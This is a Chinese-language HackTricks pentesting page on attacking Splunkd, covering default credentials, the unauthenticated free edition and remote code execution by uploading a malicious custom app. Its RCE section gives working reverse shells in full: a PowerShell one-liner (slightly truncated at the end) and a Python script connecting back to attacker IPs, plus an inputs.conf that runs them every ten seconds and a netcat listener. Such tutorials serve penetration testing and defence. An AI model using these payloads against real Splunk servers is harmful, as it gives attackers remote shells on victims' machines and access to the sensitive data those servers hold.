# 8089 - Pentesting Splunkd

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## **基本信息**

Splunk 是一款**日志分析工具**，在**收集、分析和可视化数据**方面发挥着关键作用。虽然它最初的目的不是作为**SIEM（安全信息和事件管理）工具，但在安全监控**和**业务分析**领域中备受欢迎。

Splunk 部署经常用于存储**敏感数据**，如果攻击者设法入侵系统，它可以成为潜在攻击者的**宝贵信息来源**。 **默认端口：** 8089

```
PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd
```

{% hint style="info" %}
**Splunk Web 服务器默认在端口 8000 上运行**。
{% endhint %}

## 枚举

### 免费版本

Splunk Enterprise 试用版在 60 天后转换为**免费版本**，**无需身份验证**。系统管理员经常安装 Splunk 试用版进行测试，**随后被遗忘**。这将自动转换为没有任何形式身份验证的免费版本，在环境中引入了安全漏洞。一些组织可能由于预算限制而选择免费版本，但并没有完全理解没有用户/角色管理的影响。

### 默认凭据

在旧版本的 Splunk 中，默认凭据是 **`admin:changeme`**，方便地显示在登录页面上。\
然而，**最新版本的 Splunk** 在**安装过程中设置凭据**。如果默认凭据不起作用，值得检查常见弱密码，如 `admin`，`Welcome`，`Welcome1`，`Password123` 等。

### 获取信息

登录到 Splunk 后，我们可以**浏览数据**，运行**报告**，创建**仪表板**，从 Splunkbase 库**安装应用程序**，以及安装自定义应用程序。\
您还可以运行代码：Splunk 有多种**运行代码**的方式，如服务器端 Django 应用程序，REST 端点，脚本输入和警报脚本。在 Splunk 服务器上获得远程代码执行的常见方法是通过脚本输入。

此外，由于 Splunk 可以安装在 Windows 或 Linux 主机上，可以创建脚本输入来运行 Bash、PowerShell 或批处理脚本。

### Shodan

* `Splunk 构建`

## RCE

### 创建自定义应用程序

自定义应用程序可以运行**Python、批处理、Bash 或 PowerShell 脚本**。\
请注意，**Splunk 已安装 Python**，因此即使在**Windows**系统中，您也可以运行 Python 代码。

您可以使用[**此**](https://github.com/0xjpuff/reverse_shell_splunk) Splunk 软件包来帮助我们。此存储库中的 **`bin`** 目录有[Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) 和[PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) 的示例。让我们逐步进行。

要实现这一点，我们首先需要使用以下目录结构创建自定义 Splunk 应用程序：

```shell-session
tree splunk_shell/

splunk_shell/
├── bin
└── default
```

**`bin`目录将包含我们打算运行的任何脚本（在本例中是一个PowerShell**反向shell），默认目录将有我们的`inputs.conf`文件。我们的反向shell将是一个**PowerShell一行命令：**

```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```

[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)文件告诉Splunk要运行哪个脚本以及任何其他条件。在这里，我们将应用设置为启用，并告诉Splunk每10秒运行一次脚本。间隔始终以秒为单位，只有在存在此设置时，输入（脚本）才会运行。

```shell-session
cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```

我们需要`.bat`文件，在部署应用程序时运行并执行PowerShell一行命令。

下一步是选择`从文件安装应用程序`并上传应用程序。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-efc07ea7819a44d64f280bd6e53eb69e04496092%2Fimage%20(4)%20(5)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

在上传恶意自定义应用程序之前，让我们使用Netcat或[socat](https://linux.die.net/man/1/socat)启动一个监听器。

```shell-session
sudo nc -lnvp 443

listening on [any] 443 ...
```

在`上传应用程序`页面，点击浏览，选择我们之前创建的tarball，然后点击`上传`。一旦我们上传应用程序，应用程序的状态将自动切换为`已启用`，同时我们会收到一个反向shell。

#### Linux

如果我们在处理Linux主机，我们需要在创建tarball并上传自定义恶意应用程序之前编辑`rev.py` Python脚本。其余流程将保持不变，我们将在Netcat监听器上收到一个反向shell连接，然后就可以开始操作了。

```python
import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```

### 远程代码执行 & 提权

在下面的页面中，您可以找到关于如何滥用此服务以提升权限并获取持久性的解释:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence" %}
[splunk-lpe-and-persistence](https://hacktricks.xsx.tw/linux-hardening/privilege-escalation/splunk-lpe-and-persistence)
{% endcontent-ref %}

## 参考资料

* <https://academy.hackthebox.com/module/113/section/1213>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式:

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
